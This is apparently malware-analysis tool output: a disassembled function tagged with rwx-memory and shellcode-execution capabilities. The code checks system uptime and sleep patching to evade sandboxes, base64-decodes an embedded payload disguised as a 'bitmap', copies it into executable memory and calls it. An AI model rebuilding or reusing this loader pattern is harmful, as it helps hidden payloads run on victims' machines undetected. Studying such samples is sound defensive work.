Function at 0x40179a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x38
mov ebx, dword [ecx]
call dbg.__main
test ebx, ebx
je 0x401902
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
mov eax, 0xa
cmp edx, 0x927bf
jbe 0x4018f6
call dbg.check_sleep_dummy_patch
test al, al
jne 0x401926
mov dword [esp], 2
mov esi, dword [dbg.__acrt_iob_func]
call esi
mov dword [esp + 4], str.LOG_INFO:_loading_..._r_n
mov dword [esp], eax
call dbg.fprintf
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x2c], eax
call eax
sub esp, 4
mov dword [esp], 2
call esi
mov dword [esp + 8], str.upYdtxPb1tl0JPReK8mxS4Pu_DFWDgPAE1XmEMMWCegUSYMNJVv3RhRrcwqVANGqqGcmIUyq5bN_Wz6Mp8QAGd_KMt6fm2a8W8jl6h_kywOvBriBPxkh9uJ2IYLIWrQi8O_a4PbuqJg4I2_vZMPaYxcPlUubUz5sLV34cbNi5zQFfF6VIpRCc5uY96J5Wr3qJzKjLZiKe1DhnzkYpBoLiLLwfEzIj4YIY77xVnxBBI8AjccwAHVwcyiMOPfkHNSPZF7oewBhEowQ_VfJEn_Px6uAEpFrKVEk_wj_uS9W05GxMhkUyMgUEtfGmIoqOJs2jMI1zFpNvFTD56CVs6vIFounJiBKjiglOSpJ1JuUgIdmgfpHRNV2uGuOyiEgOayvKDWp2YgzJ5dcnhtRL9BPXPam0v8OU8x878wVj6j1wjS4
mov dword [esp + 4], str.Original_bitmap:__r_n_s_r_n
mov dword [esp], eax
call dbg.fprintf
mov dword [ebp - 0x1c], 0x1b1
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.upYdtxPb1tl0JPReK8mxS4Pu_DFWDgPAE1XmEMMWCegUSYMNJVv3RhRrcwqVANGqqGcmIUyq5bN_Wz6Mp8QAGd_KMt6fm2a8W8jl6h_kywOvBriBPxkh9uJ2IYLIWrQi8O_a4PbuqJg4I2_vZMPaYxcPlUubUz5sLV34cbNi5zQFfF6VIpRCc5uY96J5Wr3qJzKjLZiKe1DhnzkYpBoLiLLwfEzIj4YIY77xVnxBBI8AjccwAHVwcyiMOPfkHNSPZF7oewBhEowQ_VfJEn_Px6uAEpFrKVEk_wj_uS9W05GxMhkUyMgUEtfGmIoqOJs2jMI1zFpNvFTD56CVs6vIFounJiBKjiglOSpJ1JuUgIdmgfpHRNV2uGuOyiEgOayvKDWp2YgzJ5dcnhtRL9BPXPam0v8OU8x878wVj6j1wjS4
call dbg.b64_decode
mov edi, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edi
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov ebx, eax
mov dword [esp], 2
call esi
mov dword [esp + 8], ebx
mov dword [esp + 4], str.Pre_transformed_bitmap:__r_n_s_r_n
mov dword [esp], eax
call dbg.fprintf
mov dword [esp + 8], edi
mov dword [esp + 4], str.upYdtxPb1tl0JPReK8mxS4Pu_DFWDgPAE1XmEMMWCegUSYMNJVv3RhRrcwqVANGqqGcmIUyq5bN_Wz6Mp8QAGd_KMt6fm2a8W8jl6h_kywOvBriBPxkh9uJ2IYLIWrQi8O_a4PbuqJg4I2_vZMPaYxcPlUubUz5sLV34cbNi5zQFfF6VIpRCc5uY96J5Wr3qJzKjLZiKe1DhnzkYpBoLiLLwfEzIj4YIY77xVnxBBI8AjccwAHVwcyiMOPfkHNSPZF7oewBhEowQ_VfJEn_Px6uAEpFrKVEk_wj_uS9W05GxMhkUyMgUEtfGmIoqOJs2jMI1zFpNvFTD56CVs6vIFounJiBKjiglOSpJ1JuUgIdmgfpHRNV2uGuOyiEgOayvKDWp2YgzJ5dcnhtRL9BPXPam0v8OU8x878wVj6j1wjS4
mov dword [esp], ebx
call sym._memcpy
mov dword [esp], 0x2710
mov eax, dword [ebp - 0x2c]
call eax
sub esp, 4
call ebx
mov dword [esp], 2
call esi
mov dword [esp + 4], str.Terminating_..._r_n
mov dword [esp], eax
call dbg.fprintf
mov dword [esp + 8], 0x4000
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
sub esp, 0xc
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov dword [esp], 2
call dword [0x409220]
mov dword [esp + 4], str.Usage:_.__PROGRAM_NAME___FILE_NAME__r_n
mov dword [esp], eax
call dbg.fprintf
mov eax, 0xb
jmp 0x4018f6
mov eax, 0xa
jmp 0x4018f6